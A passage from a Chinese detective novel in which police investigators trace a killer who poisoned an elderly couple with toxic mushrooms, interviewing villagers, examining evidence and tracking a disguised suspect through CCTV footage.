初上小学时,还是在县城的弟弟李志良成绩比较优秀,但是到了小学高年级时,李芝华突然反超了李志良,到了初中,这种趋向越发明显。李芝华越来越优秀,成了学校里的尖子生,而李志良在县城中学里不学好,抽烟打架,染了一身不良习气。 最后中考,李芝华考上了县里的重点高中。李志良却只混了个职高。李富国、王永荷对儿子女儿的看法也就此逆转,李富国花钱支持女儿继续读书,对儿子却越发敷衍。王永荷偏袒儿子,这一家四口成天为此产生矛盾。 李志良因为父亲对待自己和姐姐的态度逆转,恨上了父亲,职高毕业后就离家出走,再也不回来了。王永荷失去了儿子这个靠山,女儿跟她也不亲,因此越发抑郁。李富国把全部的希望都寄托在考上大学的女儿身上,却没想到女儿竟然在大学毕业后,就这么突然撒手人寰了。 秦梓需并不急着进现场,她在附近邻居家里进进出出,闲话家常似的东拉西扯,这些村里人倒也乐得跟她讲讲村里的八卦故事。 在5幢,也就是沙马阿果她们家里,秦梓需、章弥真再次见到了那个告诉她们王永荷去向的小男孩。她们这才搞清楚,这小男孩是阿果的侄子。 5幢这户人家,上有一个80岁的老太太,中间有一对中年夫妻,夫妻俩有一双儿女,就是阿果和她大哥,这兄妹俩年纪差了12岁。大哥早已结婚生子,小男孩今年上小学二年级。 他们家里有一个很大的草药仓库,家里做草药生意很久了,算是家庭条件不错的家庭。她们造访时正值上午,大人们都在外面忙,只有老人孩子在家。 秦梓需见那小男孩在草药仓库外的院子里玩儿抽陀螺,想起了一些事儿,她对章弥真道: “你去帮我问问那个小孩,问他案发傍晚,还看到了什么。” “啊?你为什么不自己问?”章弥真疑惑道。 “我……不大擅长对付小孩。”秦梓需支吾道。 “噗……”章弥真笑喷,拍了拍她肩头道,“行吧,看姐姐的。” 说着就凑到小男孩身边,低估了几句,那小男孩起初还有些警惕,但不知道章弥真对他说了什么,还给了他200块钱。小男孩拿过钱,就说了一些话,章弥真断断续续问了不少问题,直至小男孩终于连连摇头,掉头躲回家里去了。 章弥真走回来,神情有些微妙。 秦梓需问道:“你问出啥了?” “这小兔崽子,我可是用100包干脆面的钱换到的情报。”章弥真咬碎牙根,“他说,他看到李家闹鬼了。” “啊?”秦梓需满头问号。 章弥真解释道:“这小孩净浪费钱,他最近迷上了干脆面集卡,那种干脆面只有县里的超市有卖,他会把自己的零花钱拿给邻居家的哥哥,让哥哥去县城买回来悄悄给他。那个邻居家的哥哥现在跟着他爹干快递,成天要跑县城和镇子里。 “但他不爱吃干脆面,咽不下去,所以只要卡,面都拿去喂猪了。这种事儿他一直都瞒着家里,要是暴露了,他一定会被他爹妈暴打。 “他说那天傍晚,他在猪圈外,把偷偷买的干脆面倒给猪吃,当时就看到李家院子里站着一个全身黑衣、留着长头发的人,还打着一把花伞,一动不动的,特别可怕。 “他吓懵了,加上本来就是偷偷溜出来喂猪,一阵风吹过打得猪圈门砰的一声响,吓得他躲到了猪圈里面去不敢看。等他再探头出来,那个打伞的黑影就不见了。他听到李家老两口鬼哭狼嚎的,明显是被吓到了。 “他的好奇战胜了恐惧,一直躲在猪圈里盯着李家看,想看看那个鬼还会不会出现。但等了好一会儿,鬼没出现,反倒是王永荷捂着肚子上山去了。” “原来如此。”秦梓需若有所思,“花伞、长发……哼,看来他准备还挺足。对了,你说小男孩他爹干快递?” “对,就是阿果的亲大哥,他原本是镇上的邮递员,这两年辞职自己开了一家快递站。”章弥真道。 “他居然是邮递员……”秦梓需嘟囔了一句。 “喂,我感觉我的200块钱拿去喂猪了啊。”章弥真气不顺。 “哈哈哈哈……”秦梓需忍不住大笑起来,“那我给你转200吧,弥补你的无谓损失。” “不要不要,你都给我买鞋了,我不要你的钱。”章弥真连忙拒绝,随即眼珠一转道,“但是这账还是要记下的,等我想好了该怎么还再跟你说。” 秦梓需感到一阵迷糊,自己怎么突然莫名其妙负债了? 第46章 第四十六章 从5幢出来后,秦梓需终于带着章弥真去了李家现场。痕检目前已经完成了李家的采样,现在他们正在集中检测李富国的那辆三轮车,还有山上那个山洞,暂时还没有结果传来。 派出所派了两名警员看守现场,他们一人在前门,一人在后门,正坐在板凳上百无聊赖地刷手机。秦梓需到现场后直接出示警官证,这两个警员已经认识她和章弥真,立刻放她们进去。 虽然现场已经取样完毕,她们还是换上鞋套,戴上手套进了现场。 “你想找什么?”章弥真问秦梓需。 “找蘑菇。”秦梓需道。说话时,她人已经钻到厨房里去了。 “找蘑菇?”章弥真迷惑地跟了过去。就听秦梓需解释道: “我一直在想凶手掉包蘑菇的办法。刚才那个小男孩说他看到了一个打着花伞的长发黑衣女人,那多半是凶手假扮的,装神弄鬼,显然是想趁着老两口吃了毒蘑菇,产生了幻觉,吓唬他们。 “凶手吓唬他们的目的,是要把这老俩口逼出这间屋子,好让他方便找东西。” “不是杀人吗?”章弥真问。 秦梓需分析道:“他也许有杀意,但显然不打算暴露自己的存在,他的目的是将杀人隐藏在意外之下。不论是李富国骑三轮离开,还是王永荷上山去坟头,其实都是无法预测的行为,他很难确认他们是否会在半途中死去,更无法预测他们会分头行动,也难以分身去追杀这两个人。 “对他来说,隐藏才是第一要义,这两人如果死不了,他也不会选择补刀,而是优先选择找到东西,并隐藏自己的存在。 “其实他可以成功的,如果不是突发泥石流,恰好把李富国的三轮给埋了,还把我们引了回来,其实村民们不会这么快发现这个现场。但这一回,他犯案很不顺利,老天爷似乎都在跟他作对。” “嗯,确实。”章弥真想想也觉得这次老天爷似乎都在帮自己等人抓凶手,只是很可惜,她们还是晚来了一步。 秦梓需一边拿着铁钳捣着灶膛里的灰烬,一边道: “所以,我认为这次事件绝非王永荷要和李富国同归于尽,而是凶手采用某种方式搞清楚了她今天要做的菜,掉包了她的蘑菇。 章弥真道:“我昨天在山上和阿果聊了聊,她说现在是7月份,正是云南菌菇成熟的季节,山里人这段时间也是经常会上山采鲜蘑菇回去吃。有时候彼此之间还会分一点。” “是吗?”秦梓需停了手里的动作,望向章弥真道,“难道王永荷的蘑菇是别人分给她的?她平时和谁关系好?” 章弥真耸肩,她哪里会知道呢?不过正好正门看守的警员正凑到厨房这里看热闹,听到她们的交谈,插话进来: “王永荷很阴郁的,她几乎不出门,就在家里干点家务活,吃的东西也都是自家种的东西,连出去采买都很少。她就是和隔壁程翠芬关系好点,因为程翠芬是妇联主任,经常是她来调解这夫妻俩的矛盾。程翠芬隔三差五的会给她家送点吃的东西,算是接济一下。” “程翠芬,就是5幢那户人家的?”章弥真问。 “对。”警员回道。 “就是阿果的母亲?”章弥真再次确认。 “没错,是的。”警员连连点头。 秦梓需和章弥真相视一眼,刚才她俩去5幢,没见到程翠芬在,家里只有老人孩子。看来等会儿有必要去一趟她家了。 秦梓需和章弥真又在厨房里翻找了好一会儿,结果从厨房角落一个沾着泥巴和灰尘的竹篮里发现了大量的打结塑料袋。 这些塑料袋什么颜色的都有,被叠成长条状,卷成一卷后扎成一个结。这个竹篮里已经积攒了相当数量的塑料袋。 秦梓需盯着这些塑料袋想了一会儿,道:“这个先别动,一会儿等程翠芬回来了,我们拿过去让她辨认。” “让她找塑料袋?”章弥真问。 秦梓需点头:“嗯,先确认她当天有没有给王永荷送蘑菇,如果有,估计是用塑料袋兜着的,那个兜蘑菇的塑料袋应该在这个篮子里。如果她没能辨认出塑料袋,估计蘑菇是连着塑料袋一起被掉包了。如果她辨认出了塑料袋,那估计蘑菇被调包应该是更后头的事。” 警方的保密工作做得还行,现在村子里的人大多并不知道王永荷是吃了毒蘑菇才进了医院。村里目前的传闻是:王永荷和李富国彻底闹掰了,李富国离家出走,王永荷去给女儿哭坟哭晕了。 还有说李富国在外面还养了一个,另外生了儿子,冒着大雨出去,就是为了把他剩下的那点财产都给外室的。 对于警察把李家给查封的事,村民中也是众说纷纭,但主要的传言是李家儿子在外面搞诈骗,警察要查李家的赃款。李富国是听到风声,连夜开三轮出去转移赃款的。 传什么闲言碎语的都有,刚才秦梓需、章弥真和村民闲聊时听了很多版本,二人也是无语得很。 查完了厨房,两人又在屋里翻找了好一会儿,但除了坛坛罐罐,实在找不到有价值的东西了。她们甚至都没能找到李芝华的遗物,连李志良的东西都见不到。这老两口过到这种儿离女逝的地步,也是有够凄惨的。现在李富国也死了,就剩下王永荷一人,无异于家破人亡了。 两人随即提着那个竹篮离开现场,恰好看到一辆银色轿车驶来,开进了5幢家的院子。车子停好后,下来一个三十来岁的男子,还有一个中年女子。 二人立刻迎了上去,秦梓需出示证件,道: “你好,我们是公安,有点事想问问你们。” 两人登时紧张起来,尤其是那三十来岁的男子,一脸憨厚,见到公安一时间都不敢说话了,还是那中年女人开口交谈道: “二位领导是外地来的吧,快请进,有什么尽管问,我们一定知无不言。” 秦梓需、章弥真跟着她进门,秦梓需问:“您是程翠芬吗?” “是,我就是程翠芬。” “后面这位是您儿子?”她指着那位憨厚的男子问。 “是,是我儿子。”说着招手示意男子上来打招呼。 “我是沙马俄木,叫我阿木就好。”男子腼腆地自我介绍道。 秦梓需问道:“你是镇子上的邮递员?” “是,是的。”男子不明白警察为什么会查他,说话都有些结巴了。 没想到秦梓需压根就没继续这个话题,反倒从章弥真手里拿过那个竹篮,将竹篮放到了两人跟前的客厅地面上,对程翠芬道: “你昨天有没有给王永荷送蘑菇?” 程翠芬一怔,随即也紧张起来了:“我确实送了蘑菇给王永荷,怎…怎么了?” “大概是什么时候送的?”秦梓需淡淡问道。 “中午前,我上山回来后,大概是10点多快11点的时候吧。”程翠芬回忆道。 “那会儿她家已经吃午饭了吧。”秦梓需就像亲眼瞧见了似的,说道。 程翠芬絮絮叨叨解释道:“对,这两天雨水多,菇长得快,我走了不少地方,下山时有点晚了。他们家那个死鬼要睡懒觉到中午,所以早饭都不吃的,10点多起来就要吃饭。永荷她自己一大早5点钟就起来干活,早饭也吃得早,所以中午11点前一般就吃饭了。” “你给她的是什么菇?” “就是普通的麻菇。” “麻菇是可食用环柄菇吗?”秦梓需问道。 程翠芬有点迷惑,她文化水平不高,听不懂菌菇的专业术语,求助似的看向儿子。 阿木道:“咱家不是昨天还吃剩下一些麻菇嘛,拿给警察看看。”说着就去了厨房,不一会儿就拿出一袋子蘑菇。 秦梓需等人查看了一下袋子里的菌菇,因为她们也并非菌类专业的人士,所以暂时只是拍照留证。 秦梓需随即指着装菌菇的袋子道: “你当时是从这个袋子里拿出一部分麻菇,装到别的塑料袋里,分给王永荷的吗?” “对,对,对。”程翠芬连连点头。 “你能在这个篮子里找到你昨天给王永荷的塑料袋吗?”秦梓需指了指篮子里的一筐塑料袋道。 程翠芬道:“我有印象,那袋子是县城里安家超市的塑料袋,上面有他们家的招牌图案和文字。是个白色的塑料袋子。” 说着她要自己去篮子里找,但被秦梓需制止了,秦梓需戴着手套将篮子上层的白色塑料袋一个一个拆开,让程翠芬辨认。没拆两个,程翠芬就认出来了: “应该就是这个,我记得那袋子边有个指甲戳出来的破口,是我戳的……” 秦梓需笑了笑,将这个塑料袋再次叠好,放进了证物袋里。随即她提起那袋吃剩下的麻菇,道: “这个我们要取证用,我们就带走了。” “好,好的。”这母子俩哪敢拒绝。 程翠芬不安问道:“不是我给他们家的蘑菇吃出了什么问题吧?” 秦梓需未待开口,章弥真就笑靥嫣然地安抚道:“别紧张,我们就是做一些基础调查,他们家的事和你们没关系。就是这个蘑菇的事,你们不要到外面乱传,要保密,这很重要。” 母子俩相视一眼,都点头应允。 秦梓需随即闲聊般问道:“你们刚才是去干什么了?” “我带我妈去镇卫生所看王嬢嬢去了。”阿木回答道。 “你以前是邮递员?”秦梓需问。 “是,18年以前是镇子上的邮递员。” “你认识以前镇邮局的老周吗?”秦梓需再问。 “认识,我就是接的他的班。”阿木道。 秦梓需恍然地点点头,又问:“那是具体什么时候?” “呃……2005年的9月份。其实他应该是05年的10月湳枫份退休的,但因为他05年9月时骑摩托车意外出事故,导致腰椎受伤,后来修养了好几个月也很难恢复,我是在他还没退休的时候接手的。”阿木回忆道。 “那你和他熟悉吗?” “谈不上熟悉吧,我甚至和老周都没说过几句话。而且他受伤比较突然,我接手工作时都没有带我的师傅,一开始也是手忙脚乱,经常出错。”阿木叹息道。 “看你年纪也不大,你这都工作了15年了呀。”秦梓需笑道。 阿木挠头道:“我那会儿刚职高毕业,开了两年的大车,成天在外跑,特别想家。我就想着在镇子上找个稳定工作,所以就干了邮递员。工资低,但好歹能经常陪陪家人。” “现在干快递,单量也多起来了,应该赚得比邮递员要多吧。”章弥真好奇问。 “嗯……多是多了,但也就那样,勉强够养家糊口。”阿木腼腆道。 秦梓需后续又扯了几句闲话,反复叮嘱他们保密,最后才离开了沙马家。 她带着章弥真骑车往回走,章弥真好奇问她:“你怎么对那个阿木这么感兴趣?” 秦梓需回道:“他的职业让我想起了邮递员老周。老周是杨莲的关联人。我现在的侦查策略是,所有与杨莲产生过深度关联的人,我都不能忽视,必须挖地三尺搞清楚当年杨莲到底把文件盒交给谁了。老周其实也在名单上,所以我得查老周。可老周现在连话都说不清楚,我只能从外围入手。” “所以……这个阿木,我们也要关注?但他和老周之间好像没什么关联?”章弥真疑惑道。 “是啊,杨莲2005年8月底遇害,老周9月遭遇摩托车事故,怎么就这么寸的呢?”秦梓需嘀咕道。 第47章 第四十七章 秦梓需和章弥真跑了一上午,中午回派出所吃饭。她们先将拿到的麻菇送给痕检鉴定比对,顺带和其他队友汇合,交流一下侦查结果。 她们抵达派出所时,吉克和阿果没回来。秦梓需给吉克打了电话,得知他们还在入户调查,不过被热情的老乡留在家里吃午饭了,还差了许多户人家没走,可能得等到晚上才能回派出所,目前为止,还没有收获。 邹天带队在外侦查也还没回来,耿剑秋还埋在机房看监控,但小宋已经在食堂吃饭了。她俩打了饭就去和小宋坐在了一起,一边吃饭,一边询问小宋查李富国手机的状况。 小宋吞下嘴里的食物,道: “李富国的手机被水泡得还挺严重,我昨晚搞了半天,还以为内存芯片损毁了,那就麻烦了。好在烤了一晚上,到了今天早上再看,内存里的东西出来了。 “但坏消息是,他手机里的数据全没了。” “没了?”章弥真挑眉。 小宋叹了口气:“对,他的手机被远程控制软件恶意控制过,触发了出厂重置,导致数据全部被覆盖了。这可能是个定时程序,时间设定在李富国出事那天晚上的七点整。 “我就试着去查云端存储,但是云端也被删了个干净,这个凶手是个相当成熟、手法老练的黑客。” 秦梓需道:“凶手这么干一定是因为他给李富国打了某个诱导电话或者发了消息,诱导李富国出门。我猜测打电话的可能性比较高,因为直接对话的冲击性比较强烈,能够以最快的速度诱发李富国的行动。如果是发消息,则短信的可能性大于即时通讯软件。因为即时通讯软件太好查了,还有已读回执。” “对,是这样的。”小宋点头。 “现在都删光了,这该具体怎么查?”章弥真蹙眉问。 小宋回答道:“现在只有走运营商这一条路,运营商的服务器会保留打电话和发短信的元数据,电话记录包括主叫/被叫号码、通话起止时间、通话时长、基站的大致位置,短信记录包括发送/接收方号码、时间戳、基站位置、短信长度,这些数据保留在运营商服务器里,单枪匹马的黑客就算技术再如何高明,也不可能删除,这都可以查到,不过需要时间。 “我打算和你们汇报后,下午就去联系运营商。” “那具体打电话谈了什么,或者短信内容,是不知道的?”章弥真问。 “对,内容不做记录。”小宋点头。 小宋显得有点垂头丧气,大概是在药山镇屡屡受挫的缘故,他的耐心正在不断被消耗。秦梓需见状安慰了一下,道: “慢慢查,不着急。” 小宋道:“秦老师,我怕就算查出来,也没结果。凶手肯定不是用能追踪到他的手机打电话发短信的,他这种级别的黑客,都知道暗网黑市,也都能有路径搞到匿名预付费SIM卡,或者被盗身份证注册的SIM卡,查下去估计也是没有结果。” 秦梓需却仍然鼓励道:“我们还有别的路径,每一条路径都要查到查不到为止。你要相信凶手绝不是完人,他就算想得再周全,也一定会露出马脚。他只有一个人,而我们是一群人的智慧,别这么快就气馁。” 章弥真也道:“是啊,就像下围棋。黑白二子都要想办法堵死对方的路,就看谁想得更长远,落子更谨慎,谁又会经不住煎熬失误了。咱们在心态上肯定不能输给凶手啊。” 秦梓需想了想,直接给谢云卿打了蓝信电话。她先将调查情况和谢云卿汇报了一下,然后道: “目前可以确定的是,这个凶手是个黑客高手,所以我们必须做提前防范。我知道之前市局的系统一直被黑客攻击对吗?我想确认一下现在系统到底安全不安全,我们所有存档的证物数据,是否会被攻击删除? “嗯……好,好,我明白了,嗯,我们尽快带证物回来。” 电话挂断,章弥真问: “谢女王怎么说?” 秦梓需道:“她说目前市局系统仍然不稳定,尽管这两天攻击频率减缓了。她要我们尽快完成云南这里的调查,把证物带回去保存。只有实物在,咱们才算有十足的底气。” 提起这个小宋就一脸无奈:“我说实在的,我在市局信息处也干了五六年了,我是从没见过这么懂公安系统的黑客的,他真的非常难抓,狡猾至极。” 随即他突然反应过来:“等等……秦老师,你不是怀疑攻击市局系统的黑客,就是本案的凶手吧?” 章弥真笑了,这小伙子反射弧好长。 “有这个可能,所以需要防备。”秦梓需依旧不把话说死。 “我感觉……不会吧,说实在的,对市局系统的黑客攻击,不像是一个人能做出来的。黑客也是讲团队协作的,单人黑客能做到这种长期性的大规模攻击的真的不多。”小宋拧着眉头道。 “你也说他们黑客都知道暗网门路了,他完全可以发布任务,让黑客组织来帮他。”秦梓需道。 “确实。”小宋被说服了,随即感叹道,“要真是这样……难以想象,秦老师,你们以前遇到过这种凶手吗?他几乎把犯罪的各项技能都点满了,好像专门就是为了逃脱法律制裁而点的技能点。” “成长型罪犯。”秦梓需道,“从他少年犯下第一起灭门谋杀案时,他就在和警方博弈,到现在18年过去了,他依旧未被抓捕,他拥有充足的学习成长空间和实践空间,这种高智商罪犯,自共和国成立以来,确实从未见过。” 章弥真感到不寒而栗:“真是可怕,所以青少年犯罪绝对不能姑息,谁晓得这些人不被矫正,再流入社会会造成什么样的恐怖后果。” 谈话到此,邹天终于回来了。见到秦梓需等人,他也不打饭,直接就走过来坐下。 “秦老师,和你汇报一下咱们目前的发现。山洞的勘察结束了,痕检确实找到了毛发,但那个毛发很长,不像是男人的头发,痕检要带回去做检测。现在派出所正忙着在全村采集鞋样,可得忙一阵了,一两天弄不完。 “李富国的尸检化验报告出来了,检测说是……什么来着……” 他掏出手机,瞧着上面的报告字样念道:“血液中检测出了α-鹅膏蕈碱,就是褐鳞环柄菇的毒素。你们挖到的那个菌根,也做了基因匹配,确实是一致的。 “此外,我们对那辆农用三轮车也做了检查,三轮车的刹车被做了手脚,是松的。” 秦梓需、章弥真顿时神情一凝,看来凶手有明确的杀人意图。一个毒蘑菇中毒产生幻觉的人,开着刹车被做了手脚的农用三轮飞驰在大雨滂沱的山道上,就算不发生泥石流,后果也是可想而知。 “那个毛发很可能是假发。”秦梓需把沙马家的小男孩目睹女鬼出现在李家后院的事说了,“凶手很有可能装扮成已故的李芝华,装神弄鬼吓唬那老两口。所以王永荷才会被吓到忍着腹绞痛,冒着大雨上山去女儿坟前祭拜。而凶手还给李富国发了诱导信息,诱导他骑三轮车走山路。 “但他虽有杀人意图,但手法弯弯绕,无法立刻致死。且他也没有留下来确认结果,而是立刻离去了,说明他的第一要务是在李家寻找东西,杀人只是次要级别的事。” 邹天直摇头:“这凶手……简直匪夷所思,他怎么能想到这种犯案手法的。那老两口也确实很迷信,听说自从死了女儿,儿子也离家不回后,两人就成天的疑神疑鬼,说老是能看到女儿的阴魂。王永荷还想买个观音像回家拜,结果李富国不许,两人虽然心里不安得很,却一直就这么忍着过日子。” 秦梓需确认道:“李芝华有用过花雨伞吗?” “哟,这个我还真不清楚,在韩国调查时,没听说过她用了什么雨伞。”邹天摩挲着下巴道,“不过,镇上应该有人知道,我记得李芝华打小有好些玩伴儿,沙马老大家的那对儿女,和李芝华是发小。” “阿木和阿果?”章弥真挑眉。 “对,阿木比李芝华大5岁,两人好像关系挺好的,一直传说要结亲,但还是没结成。但李芝华毕竟成绩好,后来大学考出去了,两人也没在一起。”邹天回忆道。 秦梓需若有所思道:“没想到还有这层渊源。”说着就拿出手机,给吉克发了个消息,让他向阿果问问花雨伞的事。 随即她道:“对了,邹队,我们想再查一查退休的邮递员老周,老爷子现在在昆明。如果一直等不到王永荷醒过来,我们也不能一直在这里耗着,可能明后天我们就要再去昆明,然后就要从昆明返回胥城去了。这里的事,还得交给你来继续查,我们保持联系,有新的进展一定立刻告诉我们。” “没问题,秦老师,这个案子让人头大,还得您多多指导才是。”邹天忙道。 邹天要吃饭了,而秦梓需、章弥真、小宋已经吃完了,三人辞别了邹天,便离开了食堂。小宋给耿剑秋打了饭,准备带给他。秦梓需、章弥真也比较好奇耿剑秋那里的情况,于是跟了过去。 他们在机房找到耿剑秋时,他正叼着烟,头发被抓得乱七八糟,双目通红,状态看上去有点吓人。 耿剑秋见到章弥真来了,几乎是第一秒就把烟给掐了。章弥真则第一时间跑去开窗通风,她知道秦梓需不喜欢烟味,而且她自己也不大能受得了这浓烈的二手烟。 “耿队,给你带饭了,你快歇歇吧,先吃饭。”小宋把饭盒放到了他跟前。 “找到人了吗?”秦梓需走到耿剑秋身后,盯着他的电脑屏幕问。 耿剑秋长叹一口气,道:“我以为我找到了,结果还是丢了。我调给你看。” 说着就点击鼠标,调出已经标记出的可疑视频,放给秦梓需看。视频是药山镇开往西边大寨镇的县域公交上的监控视频。时间显示是傍晚18:33分。 “我查过了,18:30末班的县域公交,在药山镇范围内停靠了三站,上了几个人。最可疑的是这个人,穿着雨衣,戴着兜帽,帽子遮住了大半张脸,啥也看不清。但是个瘦高个,目测超过一米八,体型和凶手的画像相符,脚上穿着胶鞋,走路脚掌外翻。他提着一个大黑手提包,投币上车,看上去真的非常可疑。 随即他快进视频,停在后门监控的时间点上,道:“这人在大寨镇的客运站前下了车。我查到这里后,就跑了一趟大寨镇,拿到了客运站附近几条街的监控,今天看了一个上午,居然就没找到他了。这家伙明明进了客运站范围,结果就这样消失了,车站大厅、附近几条街的监控我都看了,可都没收获,我实在是不知道该怎么找了。 “可能我们得把监控送去省级的数据库,用AI来做分析。” 秦梓需笑着拍了拍他,道:“你先休息吃饭,我来接你的活。” 第48章 第四十八章 秦梓需接手监控。她打开了公交车上的监控录像,先盯着那个可疑的人物进行观察。 看了一会,耳畔突然传来了章弥真的声音: “这人身上有什么问题吗?” 秦梓需吓了一跳,她都不知道章弥真是什么时候坐到自己身边来了。她清了清嗓子,道: “看监控的第一件事,就是确认自己的目标是不是确实是要找的目标。你看,这车上乘客很少,我数了一下,包括这个黑衣人一共4个乘客,都是男性。” “嗯,毕竟是下雨天,乡村地区没那么多人非得在这种恶劣的天气里出门。”章弥真插话道。 “另外三个人的分布,一个坐在这个黑衣人的身后,一个在他的侧前方,隔着车内过道的斜对面。还有一个坐在后排。坐在黑衣人身后的这个人挑了一个扁担,最后排的那个人拖着一个大蛇皮袋,而斜前方那个人提了一袋子像是化肥袋子似的东西。这三个人身上有着明确的农民特征,而且他们甚至都和司机认识,还用当地口音的方言和司机聊天。 “这个黑衣人所坐的位置,靠近车辆的后车门,他只需要一个箭步就能直接下车。他自始至终都很紧张,浑身从未有一刻放松过。你看他的肩膀,是不是一直耸着的,弓着背,右脚一直踏在座位外,重心也向右侧过道倾斜,蓄势待发的样子。 “你注意看他手里,拿着一部手机,手机背面非常光亮,可以作为反射镜,他侧着身子坐,可以在不探头探脑、相对不惹人注意的状态下,将车上所有人都一次性观察到。 “我真的很少见到有正常人出门在外会如此警惕的,再加上在那个时间点,从药山镇上县域公交离去,时间也是吻合的。所以这个人确实有极大可能就是凶手。” 秦梓需话说到这里时,章弥真拧开了桌上一瓶尚未开封的矿泉水,喝了几口,然后塞给秦梓需道: “然后呢?他为什么后来就不见了呢?” 秦梓需拿着她塞给自己的矿泉水,也喝了几口,拧好盖子,才不紧不慢地点开了视频,一直拖到了公交监控视频的最后,公交车开到了大寨镇客运站范围时,秦梓需不再拖动进度条,而是一帧一帧慢放,仔细观察。 那黑衣人在进了镇子后,明显动作变了,他转了好几次脑袋,观察窗外的景象。待到车停稳,黑衣人第一时间拎包快速下车,从公交车内监控的有限拍摄角度来看,他是笔直地往前冲,看样子是进入了客运站围墙之内的。 但因为客运站内有一辆大巴车开出,将他向内行走的身形挡住了,待到大巴车开走,后续再看,他人就不见了。 “你觉得他去哪儿了?”秦梓需问章弥真。 “进了客运站,然后其实没有进入候车大厅,直接出去了?”章弥真问。 “嗯,好想法。你看客运站的监控位置,在入口处有监控,候车楼里有监控,但是外面的停车场上,只有候车楼的正门前,有一个对停车场的正角度拍摄画面,死角太多了。 “他坐在公交上,在车子开到客运站前时,就在观察附近的监控状况,并且规划路线。他的第一要务就是尽量躲开监控,摆脱追踪。在这方面,他极其专业,我敢说是特工级别的水平。不排除他其实早就对大寨镇的客运站进行过事先侦查,规划好了自己的逃跑路线。” 说着秦梓需就调出了那个从候车楼正拍停车场的监控画面,从这个角度还能看到黑衣人走进停车场,大巴车的位置关系从挡住了他的身影,变成了在他的身后。 此时,一辆黑色轿车从旁开出来,恰好就往黑衣人身前走。就在这时,黑衣人突然一转脚步,跟着大巴车的后车轮转了向,俯身弓腰,借着轿车掩护,一下子就窜到了监控画面的右侧去,并且很快消失在了死角内。整个过程一气呵成,快如闪电,若是不仔细看,甚至会直接以为凶手消失在了画面中。 “我靠……”章弥真惊叹于这个家伙的敏捷和对监控画面的把握,“穿着挤脚的胶鞋还能跑这么快?” 秦梓需查看了一下监控分布图,然后调出了最靠近停车场右侧的监控录像。很可惜,这个监控是外面马路上的监控,拍摄的重点不是停车场内部,角度太偏,以至于停车场只存在于画面的右上角,很难看清内里的情况。 就在这小小的右上角,她们看到了一片黑色衣角一闪而过。 “老秦!你看到了吗?”章弥真指着那个画面道。 “嗯,看到了。那个位置,应该是停了一辆大巴车。他可能是借着这个视线死角在换衣服。并且很有可能连包都一起换了。”秦梓需道。 “他换了衣服,我们还怎么找?”章弥真捋了一下长发,感到头疼。 秦梓需不答反问:“你觉得他换了衣服后,接下来是会进客运站买票,还是出客运站,去别的地方?” “买票是要实名制的吧,我觉得他不会买票的,他会出去。他应该会避免一切有可能暴露身份的行为,并且尽量不与人产生交集,不给任何人留下印象。”章弥真分析道。 “很有道理,所以接下来咱们要仔细看客运站两个出口的监控视频。所有单独走出去的人,乃至于自行车、电动自行车、摩托车、汽车,全都要留意。”秦梓需随即同时点开了前后两个门的监控,分列在屏幕上,和章弥真分开来看。 “他有可能开汽车吗?”章弥真感到有点匪夷所思。 “难保他不会在别的地方租了车开过来,然后把车停在客运站的停车场里。”秦梓需道。 两人开始了漫长的监控调阅,全神贯注,以至于她们都没注意到耿剑秋和小宋已经离开了,机房里只剩下她两人。 看了一个小时,章弥真感觉眼睛酸涩,脖子僵硬,她眨巴着眼睛有些疲惫地道: “我好像也没看到有独来独往的人走出去,也没看到有轿车开出去,全都是大巴车。门口还一大堆拉客的三蹦子和摩的,这些人在门口乱窜,真是烦人。” 秦梓需和她的状况也差不多,确实没看到单独一人的男子走出去,甚至她都没看到有凶手那种身形高大的男人出现,都是西南地区身材较为矮小的男子。出入的车辆也全都是大巴车,开过来的汽车都是来接送人的,由于客运站停车场面积有限,这些车辆不被允许入内,都是在门口接送。 不过,她看的是客运站的正门监控,那里没有多少三蹦子和摩的。 “三蹦子和摩的能进去吗?” “不能,这门口有个保安一直拦着不让进,他们都是在门口这里探头探脑地拉客。”章弥真道。 “来,我来看看。”秦梓需探手来拿鼠标,结果章弥真没松开鼠标,秦梓需直接抓到了章弥真的手上。 秦梓需触电似的抬起手,道了声:“哦,不好意思。” 章弥真无声地笑了下,拿开手向后靠到椅背上,眸光盯着秦梓需的侧脸和耳根瞧。不过秦梓需还是那张波澜不惊、淡定从容的面庞,耳根也不见有红一下,章弥真内心暗骂她一声:无趣。 秦梓需全神贯注地盯着画面看了好一会儿,突然定格下来,接着按动键盘左键反复回看,指着画面中的一个人道: “注意看这个人。” “嗯?怎么了?”章弥真迷惑地顺着她的手指去看,只见屏幕上一个男子右手抱着一个小女孩,左手提着一大塑料袋的水果,肩上背着双肩包,穿着一件十分宽大、土里土气的淡棕色西装,里面搭配一件洗得走形了的横条纹POLO衫,一条黑西裤,裤脚太长还挽了两道,露出脚上一双沾了泥巴的绿色军布鞋。 他身边还跟着一位推着行李箱的女士,看上去像是他的妻子。行李箱把他的下半身都遮住了。 孩子把他的脸庞遮得严严实实,只能看清他留着一个相对比较短的短发,比寸头稍长一点。 “这人难道就是他?”章弥真鸡皮疙瘩起来了。 “抱孩子的作用是遮蔽面庞,模糊身高。故意走在女子侧面,用行李箱遮挡腿部,也是为了模糊身高和身形。乍一看,就好像是一家三口,但实际上他很可能和女人孩子一点关系都没有,只是临时找了这对母女,假装好心,给人抱孩子,提行李。”秦梓需道。 秦梓需立刻调出了后门附近的街道监控,可以看到,这个男子跟着这母女俩走了一段路,随即在一条岔路口,他放下孩子,把水果袋子还给了女人,转身进了身后的巷道。这一段监控画面极为模糊,因为此时这三人的位置距离最近的监控也保持了100多米远的距离。 这毕竟是乡镇,没有大城市那么密集的监控网,客运站附近已经算是监控比较密集的地区了,仍然是无法做到全覆盖。 而男子闪身入了小巷后,人就消失了。 此后任凭秦梓需和章弥真翻找所有拷贝来的监控录像,都再也难觅踪迹,很难说这男子在进入巷子后,是不是又换了装,又换乘了交通工具,变数太多。 “要不要找一下那母女俩?问一问长相?”章弥真有些气馁地仰倒在椅背上,问道。 “问是要问的,但估计希望不大。”秦梓需已经拿出手机拨打邹天电话了。 趁着秦梓需给邹天打电话说明情况的功夫,章弥真又仔细看了几遍监控视频。她发现凶手是空手触碰的小孩身上的衣服,也是空手抓装水果的塑料袋的。 等等……他这样应该会留下指纹的吧?她立刻找到公交车上的监控,从头到尾再仔细看了一遍,这个凶手从上车到坐下,没有触碰过公交车内的任何把手、座椅,但他留了一枚硬币在公交车的投币箱里,而且章弥真反复看了,他投币时没有戴手套。 “喂,老秦!这家伙的指纹在那枚硬币上!”她抓住秦梓需的手臂摇晃道。 